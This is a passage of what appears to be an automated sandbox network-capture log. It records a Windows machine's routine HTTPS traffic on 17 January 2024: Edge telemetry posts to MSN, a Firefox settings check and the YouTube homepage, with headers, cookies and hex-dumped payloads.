2024-01-17 23:35:25 UTC	6654	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 31 2d 31 37 54 32 33 3a 33 35 3a 32 33 2e 36 34 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 32 34 36 66 65 65 2d 63 62 63 64 2d 34 32 39 31 2d 62 64 34 37 2d 30 35 31 31 33 38 34 34 64 35 32 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 35 37 37 33 32 38 33 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-01-17T23:35:23.642Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"b6246fee-cbcd-4291-bd47-05113844d521","epoch":"3557732836"},"app":{"loc
2024-01-17 23:35:25 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e4078e0a983a4b958af8a5bf25347d45&HASH=e407&LV=202401&V=4&LU=1705534525262; Domain=.microsoft.com; Expires=Thu, 16 Jan 2025 23:35:25 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=61d4ffc61203489b9063470d9056a2d4; Domain=.microsoft.com; Expires=Thu, 18 Jan 2024 00:05:25 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1618 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 17 Jan 2024 23:35:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.6	50125	104.208.16.91	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:26 UTC	1037	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1705534524773&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 6666 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=139A33CBE153641D185F27C2E010658F; _EDGE_S=F=1&SID=2D3C0E851380682C1AC01A8C12486911; _EDGE_V=1; _SS=SID=00
2024-01-17 23:35:26 UTC	6666	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 31 2d 31 37 54 32 33 3a 33 35 3a 32 34 2e 37 37 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 32 34 36 66 65 65 2d 63 62 63 64 2d 34 32 39 31 2d 62 64 34 37 2d 30 35 31 31 33 38 34 34 64 35 32 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 35 37 37 33 32 38 33 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-01-17T23:35:24.772Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"b6246fee-cbcd-4291-bd47-05113844d521","epoch":"3557732836"},"app":{"locale
2024-01-17 23:35:26 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=09f9f007e32c4f788fbba49cc9df9602&HASH=09f9&LV=202401&V=4&LU=1705534526369; Domain=.microsoft.com; Expires=Thu, 16 Jan 2025 23:35:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=145a607a502b49a8a7034e3e7eea04de; Domain=.microsoft.com; Expires=Thu, 18 Jan 2024 00:05:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1596 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 17 Jan 2024 23:35:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.6	50129	104.208.16.91	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:26 UTC	1037	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1705534525301&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 6775 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=139A33CBE153641D185F27C2E010658F; _EDGE_S=F=1&SID=2D3C0E851380682C1AC01A8C12486911; _EDGE_V=1; _SS=SID=00
2024-01-17 23:35:26 UTC	6775	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 31 2d 31 37 54 32 33 3a 33 35 3a 32 35 2e 33 30 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 37 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 36 32 34 36 66 65 65 2d 63 62 63 64 2d 34 32 39 31 2d 62 64 34 37 2d 30 35 31 31 33 38 34 34 64 35 32 31 22 2c 22 65 70 6f 63 68 22 3a 22 33 35 35 37 37 33 32 38 33 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-01-17T23:35:25.301Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":7,"installId":"b6246fee-cbcd-4291-bd47-05113844d521","epoch":"3557732836"},"app":{"loc
2024-01-17 23:35:27 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4109bcf919234e26b5519498fbe37cf6&HASH=4109&LV=202401&V=4&LU=1705534526857; Domain=.microsoft.com; Expires=Thu, 16 Jan 2025 23:35:26 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=f7823437ad8442dda706425b1cd15a2c; Domain=.microsoft.com; Expires=Thu, 18 Jan 2024 00:05:26 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1556 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 17 Jan 2024 23:35:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.6	50187	34.149.100.209	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:39 UTC	456	OUT	GET /v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US HTTP/1.1 Host: firefox.settings.services.mozilla.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json Connection: keep-alive If-Modified-Since: Fri, 25 Mar 2022 17:45:46 GMT If-None-Match: "1648230346554"
2024-01-17 23:35:39 UTC	171	IN	HTTP/1.1 304 Not Modified Date: Wed, 17 Jan 2024 22:56:22 GMT Age: 2357 ETag: "1648230346554" Cache-Control: public,max-age=3600 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.6	50189	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:39 UTC	433	OUT	GET / HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site
2024-01-17 23:35:39 UTC	3392	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:39 GMT Strict-Transport-Security: max-age=31536000 X-Frame-Options: SAMEORIGIN Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF X-XSS-Protection: 0 Set-Cookie: YSC=jLu-1Gc8QZc; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: __Secure-YEC=CgtvTFRlWWFBZDJDYyjLyKGtBjIKCgJERRIEEgAgZg%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:35:38 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgZg%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:35:39 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_INFO1_LIVE=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: LOGIN_INFO=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=www.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.www.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=m.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.m.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: SID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: HSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: SSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: APISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: SAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:35:39 GMT; Path=/; Secure; HttpOnly Set-Cookie: CONSENT=PENDING+188; expires=Fri, 16-Jan-2026 23:35:39 GMT; path=/; domain=.youtube.com; Secure Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:39 UTC	3392	IN	Data Raw: 32 35 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 2d 64 65 70 72 65 63 61 74 65 20 73 79 73 74 65 6d 2d 69 63 6f 6e 73 20 74 79 70 6f 67 72 61 70 68 79 20 74 79 70 6f 67 72 61 70 68 79 2d 73 70 61 63 69 6e 67 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 66 6f 52 43 75 4d 2d 63 49 77 51 31 43 61 6d 41 47 46 31 64 63 77 22 3e 77 69 6e 64 6f 77 Data Ascii: 2537<!DOCTYPE html><html style="font-size: 10px;font-family: Roboto, Arial, sans-serif;" lang="en" darker-dark-theme darker-dark-theme-deprecate system-icons typography typography-spacing><head><script data-id="_gd" nonce="foRCuM-cIwQ1CamAGF1dcw">window
2024-01-17 23:35:39 UTC	3392	IN	Data Raw: 6f 72 28 22 50 6f 6c 79 6d 65 72 20 64 65 66 69 6e 65 20 70 72 6f 70 65 72 74 79 20 66 61 69 6c 65 64 20 66 6f 72 20 22 2b 0a 4f 62 6a 65 63 74 2e 6b 65 79 73 28 70 29 29 3b 7d 74 68 69 73 2e 5f 6e 61 74 69 76 65 50 72 6f 74 6f 74 79 70 65 73 5b 74 61 67 5d 3d 70 7d 72 65 74 75 72 6e 20 70 7d 66 75 6e 63 74 69 6f 6e 20 68 61 6e 64 6c 65 50 6f 6c 79 6d 65 72 45 72 72 6f 72 28 6d 73 67 29 7b 77 69 6e 64 6f 77 2e 6f 6e 65 72 72 6f 72 28 6d 73 67 2c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 30 2c 30 2c 6e 65 77 20 45 72 72 6f 72 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 6f 69 6e 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 22 2c 22 29 29 29 7d 76 61 72 20 6f 72 69 67 50 6f 6c 79 6d 65 72 3d 77 69 6e 64 6f 77 5b 22 50 6f 6c Data Ascii: or("Polymer define property failed for "+Object.keys(p));}this._nativePrototypes[tag]=p}return p}function handlePolymerError(msg){window.onerror(msg,window.location.href,0,0,new Error(Array.prototype.join.call(arguments,",")))}var origPolymer=window["Pol
2024-01-17 23:35:39 UTC	2751	IN	Data Raw: 74 7c 7c 79 74 63 73 69 2e 6e 6f 77 28 29 3b 69 66 28 74 69 63 6b 73 5b 6c 5d 29 7b 74 69 63 6b 73 5b 22 5f 22 2b 6c 5d 3d 74 69 63 6b 73 5b 22 5f 22 2b 6c 5d 7c 7c 5b 74 69 63 6b 73 5b 6c 5d 5d 3b 74 69 63 6b 73 5b 22 5f 22 2b 6c 5d 2e 70 75 73 68 28 76 29 7d 74 69 63 6b 73 5b 6c 5d 3d 0a 76 7d 2c 69 6e 66 6f 3a 66 75 6e 63 74 69 6f 6e 28 6b 2c 76 2c 6e 29 7b 79 74 63 73 69 2e 67 74 28 6e 29 2e 69 6e 66 6f 5b 6b 5d 3d 76 7d 2c 69 6e 66 6f 47 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 70 2c 6e 29 7b 79 74 63 73 69 2e 67 74 28 6e 29 2e 67 65 6c 2e 70 72 65 4c 6f 67 67 65 64 47 65 6c 49 6e 66 6f 73 2e 70 75 73 68 28 70 29 7d 2c 73 65 74 53 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 79 74 63 73 69 2e 74 69 63 6b 28 22 5f 73 74 61 72 74 22 2c 74 2c 6e Data Ascii: t\|\|ytcsi.now();if(ticks[l]){ticks["_"+l]=ticks["_"+l]\|\|[ticks[l]];ticks["_"+l].push(v)}ticks[l]=v},info:function(k,v,n){ytcsi.gt(n).info[k]=v},infoGel:function(p,n){ytcsi.gt(n).gel.preLoggedGelInfos.push(p)},setStart:function(t,n){ytcsi.tick("_start",t,n
2024-01-17 23:35:39 UTC	1252	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 43 4c 49 45 4e 54 5f 43 41 4e 41 52 59 5f 53 54 41 54 45 22 3a 22 6e 6f 6e 65 22 2c 22 44 45 56 49 43 45 22 3a 22 63 62 72 5c 75 30 30 33 64 46 69 72 65 66 6f 78 5c 75 30 30 32 36 63 62 72 76 65 72 5c 75 30 30 33 64 31 31 38 2e 30 5c 75 30 30 32 36 63 65 6e 67 5c 75 30 30 33 64 47 65 63 6b 6f 5c 75 30 30 32 36 63 65 6e 67 76 65 72 5c 75 30 30 33 64 31 30 39 2e 30 5c 75 30 30 32 36 63 6f 73 5c 75 30 30 33 64 57 69 6e 64 6f 77 73 5c 75 30 30 32 36 63 6f 73 76 65 72 5c 75 30 30 33 64 31 30 2e 30 5c 75 30 30 32 36 63 70 6c 61 74 66 6f 72 6d 5c 75 30 30 33 64 44 45 53 4b 54 4f 50 22 2c 22 44 49 53 41 42 4c 45 5f 59 54 5f 49 4d 47 5f 44 45 4c 41 59 5f 4c 4f 41 44 49 4e 47 22 3a 66 61 6c 73 65 2c 22 45 4c 45 4d 45 4e 54 5f 50 4f 4f 4c 5f Data Ascii: 8000{"CLIENT_CANARY_STATE":"none","DEVICE":"cbr\u003dFirefox\u0026cbrver\u003d118.0\u0026ceng\u003dGecko\u0026cengver\u003d109.0\u0026cos\u003dWindows\u0026cosver\u003d10.0\u0026cplatform\u003dDESKTOP","DISABLE_YT_IMG_DELAY_LOADING":false,"ELEMENT_POOL_
2024-01-17 23:35:39 UTC	1252	IN	Data Raw: 69 61 6c 6f 67 5f 70 6f 70 75 70 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 61 6e 69 6d 61 74 65 5f 6d 69 6e 69 70 6c 61 79 65 72 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 63 6c 69 65 6e 74 5f 72 65 6c 65 61 73 65 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 64 65 6c 61 79 5f 70 6c 61 79 65 72 5f 72 65 73 69 7a 69 6e 67 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 63 6c 69 63 6b 5f 64 72 61 67 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 77 68 65 65 6c 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 Data Ascii: ialog_popup":true,"desktop_animate_miniplayer":true,"desktop_client_release":true,"desktop_delay_player_resizing":true,"desktop_enable_dmpanel_click_drag_scroll":true,"desktop_enable_dmpanel_scroll":true,"desktop_enable_dmpanel_wheel_scroll":true,"desktop
2024-01-17 23:35:39 UTC	1252	IN	Data Raw: 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 65 70 6f 72 74 5f 6f 6e 5f 65 72 72 6f 72 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 70 5f 69 6e 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 64 73 5f 77 65 62 5f 65 70 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 61 6e 64 5f 70 61 64 64 69 6e 67 5f 66 69 78 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 74 79 70 6f 67 72 61 70 68 79 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 74 74 6f 6e 5f 62 65 68 61 76 69 6f 72 5f 72 65 75 73 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 61 6c 6c 5f 74 6f 5f 61 63 74 69 6f 6e 5f 63 6c 61 72 69 66 69 63 61 74 69 6f 6e 5f 72 65 6e 64 65 72 65 72 5f 62 6f 74 74 6f 6d 5f 73 65 63 74 69 6f 6e 5f Data Ascii: ue,"enable_ab_report_on_errorscreen":true,"enable_ab_rp_int":true,"enable_ads_web_ep_buenos_aires_and_padding_fix":true,"enable_buenos_aires_typography":true,"enable_button_behavior_reuse":true,"enable_call_to_action_clarification_renderer_bottom_section_
2024-01-17 23:35:39 UTC	1252	IN	Data Raw: 6c 65 5f 68 69 67 68 5f 66 72 65 71 75 65 6e 63 79 5f 63 6f 6f 6b 69 65 5f 72 6f 74 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 68 6c 70 5f 63 6c 69 65 6e 74 5f 69 63 6f 6e 5f 70 69 63 6b 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 64 65 6e 74 69 74 79 5f 61 74 74 72 69 62 75 74 65 73 5f 66 6f 72 5f 6c 69 76 65 5f 63 68 61 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6d 61 67 65 5f 70 6f 6c 6c 5f 70 6f 73 74 5f 63 72 65 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 6c 69 6e 65 5f 73 68 6f 72 74 73 5f 6f 6e 5f 77 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 74 65 72 73 74 69 74 69 61 6c 5f 65 6e 74 69 74 79 5f 63 68 65 63 6b 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 73 5f 73 75 70 70 6f 72 74 65 Data Ascii: le_high_frequency_cookie_rotation":true,"enable_hlp_client_icon_pick":true,"enable_identity_attributes_for_live_chat":true,"enable_image_poll_post_creation":true,"enable_inline_shorts_on_wn":true,"enable_interstitial_entity_check":true,"enable_is_supporte
2024-01-17 23:35:39 UTC	1252	IN	Data Raw: 79 61 62 6c 65 73 5f 75 72 6c 5f 72 65 73 6f 6c 75 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6c 61 79 65 72 5f 70 61 72 61 6d 5f 74 72 75 6e 63 61 74 69 6f 6e 5f 62 65 66 6f 72 65 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 6c 5f 63 68 6f 69 63 65 5f 62 6f 72 64 65 72 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 5f 6d 69 67 72 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 70 75 6c 61 74 65 5f 61 74 74 5f 70 73 64 5f 69 6e 5f 61 62 65 5f 66 65 65 64 62 61 63 6b 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 70 Data Ascii: yables_url_resolution":true,"enable_player_param_truncation_before_navigation_on_web":true,"enable_poll_choice_border_on_web":true,"enable_polymer_resin":true,"enable_polymer_resin_migration":true,"enable_populate_att_psd_in_abe_feedback":true,"enable_pop
2024-01-17 23:35:39 UTC	1252	IN	Data Raw: 74 61 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 69 67 6e 61 6c 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 5f 61 64 5f 67 75 69 64 61 6e 63 65 5f 70 72 6f 6d 70 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 70 61 62 6c 65 5f 61 64 73 5f 66 6f 72 5f 75 6e 70 6c 75 67 67 65 64 5f 61 64 5f 70 6f 64 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6d 65 61 72 69 6e 67 5f 65 78 70 61 6e 73 69 6f 6e 5f 64 61 69 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 70 61 72 6b 6c 65 73 5f 77 65 62 5f 63 6c 69 63 6b 61 62 6c 65 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 71 75 69 66 66 6c 65 5f 67 69 66 5f 68 61 6e 64 6c 65 73 5f 6c 61 6e 64 69 6e 67 5f 